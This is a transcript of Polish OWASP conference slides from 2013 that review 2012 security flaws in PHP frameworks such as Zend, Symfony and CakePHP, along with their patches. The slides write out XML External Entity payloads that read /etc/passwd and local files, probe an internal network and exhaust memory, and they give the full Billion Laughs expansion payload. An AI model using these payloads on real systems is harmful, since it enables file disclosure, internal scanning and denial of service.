OWASP BeLux 2007-05-10 OWASP Update · 2020-06-13 · OWASP 5 Program for this evening:
aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro
Transcript of aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro
![Page 1: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/1.jpg)
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
2012 w bezpieczeństwie aplikacji PHP
Łukasz Pilorz
Grupa Allegro
Warszawa 06 Mar 2013
![Page 2: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/2.jpg)
OWASP 2
O mnie
specjalista ds. bezpieczeństwa w Grupie Allegro
http://lukasz.pilorz.net
![Page 3: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/3.jpg)
OWASP
2012 w bezpieczeństwie aplikacji PHP
![Page 4: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/4.jpg)
OWASP
Zend Framework 1
http://framework.zend.com/security/advisories/
ZF2012-01 (XXE)
ZF2012-02 (XEE)
ZF2012-05 (XXE)
![Page 5: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/5.jpg)
OWASP
XXE = XML External Entity (Injection)
~ "LFI/RFI dla XML"
2002:
http://seclists.org/fulldisclosure/2002/Oct/369
~ 2009:
przeglądarki 2012: …
![Page 6: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/6.jpg)
OWASP
ZF2012-01
function callMe($value)
{
return $value;
}
$server = new Zend_XmlRpc_Server();
$server -> addFunction('callMe');
echo $server -> handle();
Local file disclosure via XXE injection in Zend_XmlRpc
http://framework.zend.com/security/advisory/ZF2012-01
Serwer XML-RPC
![Page 7: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/7.jpg)
OWASP
XML-RPC
Request:
callMe ( test )
Response:
test
function callMe($value)
{
return $value;
}
$server = new Zend_XmlRpc_Server();
$server-> addFunction('callMe');
echo $server->handle();
<?xml version="1.0" encoding=… ?> <methodCall> <methodName>callMe</methodName> … <value><string>test</string></value> </methodCall>
<?xml version="1.0" encoding=… ?> <methodResponse> … <value><string>test</string></value> </methodResponse>
Serwer XML-RPC
![Page 8: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/8.jpg)
OWASP
XML Entities
Request:
callMe ( te st )
Response:
te st
" "
< <
> >
& &
itd.
<?xml version="1.0" encoding=… ?> <methodCall> <methodName>callMe</methodName> … <value><string>te st</string></value> </methodCall>
<?xml version="1.0" encoding=… ?> <methodResponse> … <value><string>te st</string></value> </methodResponse>
Serwer XML-RPC
![Page 9: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/9.jpg)
OWASP
XML Entities
Request:
callMe ( &test; )
Response:
faultCode( xx )
error_log:
"Warning:
SimpleXMLElement ::__construct():
Entity: line 2: parser error : Entity 'test' not defined in [...]"
<?xml version="1.0" encoding=… ?> <methodCall> <methodName>callMe</methodName> … <value><string>&test;</string></value> </methodCall>
<?xml version="1.0" encoding=… ?> <methodResponse> … <name>faultCode</name> <string>Failed to parse request</string> </methodResponse>
Serwer XML-RPC
![Page 10: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/10.jpg)
OWASP
Document Type Definition
Request:
callMe ( &test; )
Response:
text
http://pl.wikipedia.org/wiki/Document_Type_Definition
<!DOCTYPE myown
[
<!ENTITY test "text">
]>
&test; ==> text
<?xml version="1.0" encoding=… ?> <!DOCTYPE myown [ <!ENTITY test "text"> ]> <methodCall> <methodName>callMe</methodName> … <value><string>&test;</string></value> </methodCall>
<?xml version="1.0" encoding=… ?> <methodResponse> … <value><string>text</string></value> </methodResponse>
Serwer XML-RPC
parsuje XML+DTD
![Page 11: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/11.jpg)
OWASP
XML External Entity
Request:
callMe ( &test; )
Response:
page/file content
<!DOCTYPE myown
[
<!ENTITY test SYSTEM
"http://192.168.1.1/">
]>
<!DOCTYPE myown
[
<!ENTITY test SYSTEM
"file:///etc/passwd">
]>
<?xml version="1.0" encoding=… ?> <!DOCTYPE myown [ … ]> <methodCall> <methodName>callMe</methodName> … <value><string>&test;</string></value> </methodCall>
<?xml version="1.0" encoding=… ?> <methodResponse> … <value><string>dane</string></value> </methodResponse>
Serwer XML-RPC
parsuje XML+DTD
![Page 12: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/12.jpg)
OWASP
Przykład
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE myown [ <!ENTITY test SYSTEM "file:///C:/install.ini"> ]>
<methodCall><methodName>callMe</methodName><params><param><value><struct><member><name>0</name><value><string>&test;</string></value></member></struct></value></param></params></methodCall>
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse><params><param><value><array><data><value><string>[Setup]
ProductName=Microsoft Visual C++ 2008 Redistributable Package
ProductMsi=vc_red.msi
ProductRegKey=
ProductRegName=
[...]
![Page 13: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/13.jpg)
OWASP
Zagrożenia
Denial of Service:
SYSTEM "file:///dev/random"
Skan sieci wewnętrznej:
SYSTEM "http://192.168.1.1"
Dostęp do lokalnych plików:
SYSTEM "file:///etc/passwd"
Dotyczą również parserów XML po stronie klienta, nie tylko po stronie serwera!
![Page 14: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/14.jpg)
OWASP
XXE: łatka
1. libxml_disable_entity_loader(true)
2. weryfikacja, czy w dokumecie XML znajdują się node'y typu XML_DOCUMENT_TYPE_NODE
wykonana dla XML-RPC, SOAP, RSS, Atom etc.
![Page 15: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/15.jpg)
OWASP
Zend Framework 1 - ciąg dalszy
ZF2012-01 (XXE)
ZF2012-02 (XEE)
ZF2012-05 (XXE)
![Page 16: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/16.jpg)
OWASP 1
6
Billion Laughs
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
Łatka: zawarta w libxml2
![Page 17: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/17.jpg)
OWASP 1
7
XEE = XML Entity Expansion (Attack)
<?xml version="1.0"?><!DOCTYPE data [<!ENTITY a "aaaaaaa…aaaaaaaaaaaaa">]> <data>&a;&a;&a;&a;&a;…&a;&a;</data>
DoS
Łatka: weryfikacja, czy istnieją w dokumencie node'y typu XML_DOCUMENT_TYPE_NODE
![Page 18: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/18.jpg)
OWASP
Zend Framework 2
[dev] ZF2012-01 (XXE)
[dev] ZF2012-02 (XEE)
ZF2012-03 (możliwy XSS)
ZF2012-04 ("Proxy Injection")
![Page 19: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/19.jpg)
OWASP
Proxy Injection Aplikacja
Problem z poprawnym wykrywaniem adresu użytkownika/serwera na podstawie zmiennych $_SERVER
W prostym teoretycznym przypadku wykrywanie adresu użytkownika wygląda tak:
Proxy
100.100.100.100
Użytkownik
X-Forwarded-For:
100.100.100.100
![Page 20: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/20.jpg)
OWASP
Bardziej realny scenariusz Aplikacja
Proxy
100.100.100.100
Użytkownik
Web application firewall
Load balancer
Reverse proxy
SOAP/REST
Spoofed HTTP
headers
Użyszkodnik
Partner
…
Aplikacja
Aplikacja
![Page 21: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/21.jpg)
OWASP
Symfony 1
1.4.18 Session Fixation (shadow session)
1.4.20 Local File Upload
$_FIILES / $_POST [ file ]
(
'name',
'type',
'tmp_name',
…
)
![Page 22: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/22.jpg)
OWASP
Symfony 1/2
czerwiec 2012:
end of maintenance (sic!)
dla Symfony 1
2011: analiza kodu Symfony 2
http://symfony.com/blog/symfony2-security-audit
(ciekawostka: jawna cena, 6000 EUR)
![Page 23: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/23.jpg)
OWASP
Symfony 2
2.0.11 XXE
2.0.17 XEE
2.1.4 trustProxyData() na setTrustedProxies()
2.1.5 URL double-encoding bypass
2.1.5 Wykonanie kodu dla ścieżek (routes) _internal
![Page 24: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/24.jpg)
OWASP
Symfony 1 vs 2
- mierzenie bezpieczeństwa ilością podatności
- oczekiwania wobec audytu kodu źródłowego
- co robić, kiedy mój framework przestaje być wspierany?
- współpraca (rywalizacja) pomiędzy projektami
![Page 25: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/25.jpg)
OWASP
CodeIgniter
2012: brak opublikowanych podatności
2011: xss_clean() XSS
(Krzysztof Kotowicz)
![Page 26: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/26.jpg)
OWASP
CakePHP
CVE-2012-4399 XXE
(Paweł Wyleciał)
2011: brak opublikowanych podatności
![Page 27: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/27.jpg)
OWASP
Yii
2012: brak opublikowanych podatności
2011: brak opublikowanych podatności
![Page 28: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/28.jpg)
OWASP
Aplikacje
Wordpress:
3x XSS, aktualizacja zewnętrznych bibliotek, privilege escalation (no details)
Joomla core: łącznie kilkanaście błędów, m. in. Blind SQL Injection, Clickjacking
Drupal core: łącznie kilkanaście błędów, m. in. zdalne wykonanie kodu PHP przez reinstalację
![Page 29: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/29.jpg)
OWASP
Escaping RFC
https://wiki.php.net/rfc/escaper
Escaping RFC for PHP Core
(Pádraic Brady, http://blog.astrumfutura.com/)
![Page 30: aplikacji PHP - OWASP · OWASP 2 O mnie specjalista ds. bezpieczeństwa w Grupie Allegro](https://reader034.fdocuments.in/reader034/viewer/2022050118/5f4f1a37b4e84d3b3c39809a/html5/thumbnails/30.jpg)
OWASP
Podsumowanie / pytania